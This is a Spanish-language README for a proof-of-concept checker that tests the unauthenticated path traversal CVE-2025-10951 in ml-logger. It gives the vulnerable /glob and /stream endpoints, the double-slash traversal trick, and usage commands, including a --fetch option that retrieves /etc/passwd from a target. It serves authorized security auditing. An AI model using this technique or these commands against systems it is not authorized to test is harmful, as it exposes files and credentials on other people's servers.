
Comprobador de prueba de concepto para CVE-2025-10951, un path traversal sin autenticación en ml-logger, que valida la lectura arbitraria de archivos a través de los endpoints /glob y /stream.
Comprobador de prueba de existencia para CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 — un
path traversal sin autenticación en geyang/ml-logger
(≤ 0.10.36), que afecta a las funciones log_handler / stream_handler en
ml_logger/server.py.
Para uso exclusivo contra sistemas que estás autorizado a probar.
| Endpoint | Método | Propósito |
|---|---|---|
/glob | POST | Confirma que el servidor enumera rutas del sistema de archivos fuera del alcance previsto de la aplicación |
/stream | GET | Confirma la lectura arbitraria de archivos mediante un truco de traversal con doble barra inicial (//ruta/al/archivo) |
Por defecto, el paso de prueba solo lee /etc/hostname — una única línea
inofensiva, presente en prácticamente todos los hosts Linux, nunca datos sensibles.
pip install requests
Comprobación básica:
python3 check_mllogger_traversal.py http://TARGET:PORT
Escribir resultados en JSON (para documentación / evidencia de la auditoría):
python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json
Obtener un archivo específico que elijas (solo se ejecuta si se confirma la vulnerabilidad):
python3 check_mllogger_traversal.py http://TARGET:PORT \
--fetch /etc/passwd --output passwd.txt
Todo junto:
python3 check_mllogger_traversal.py http://TARGET:PORT \
--json results.json --fetch /etc/passwd --output passwd.txt
0 — vulnerabilidad confirmada (completa o probable)1 — no confirmado como vulnerable / objetivo inalcanzable{
"target": "http://192.xxx.xxx.xxx:8081",
"timestamp": "2026-00-12T10:15:32.123456+00:00",
"cve": "CVE-2025-10951",
"glob_endpoint_confirmed": true,
"stream_endpoint_confirmed": true,
"vulnerable": true,
"likely_vulnerable": true,
"fetch": {
"remote_path": "/etc/passwd",
"local_path": "passwd.txt",
"success": true
}
}
--fetch solo se ejecutará después de que la comprobación de vulnerabilidad tenga éxito; no
intentará obtener nada contra un objetivo no confirmado.| Flag | Descripción |
|---|
target | URL base, p. ej. http://192.xxx.x.xx:8081 |
--timeout | Tiempo de espera de la solicitud en segundos (por defecto: 8.0) |
--json FILE | Escribe los resultados estructurados en un archivo JSON |
--fetch REMOTE_PATH | Obtiene un archivo remoto específico que tú indiques |
--output LOCAL_PATH | Nombre de archivo local para la salida de --fetch (por defecto: nombre base de la ruta remota) |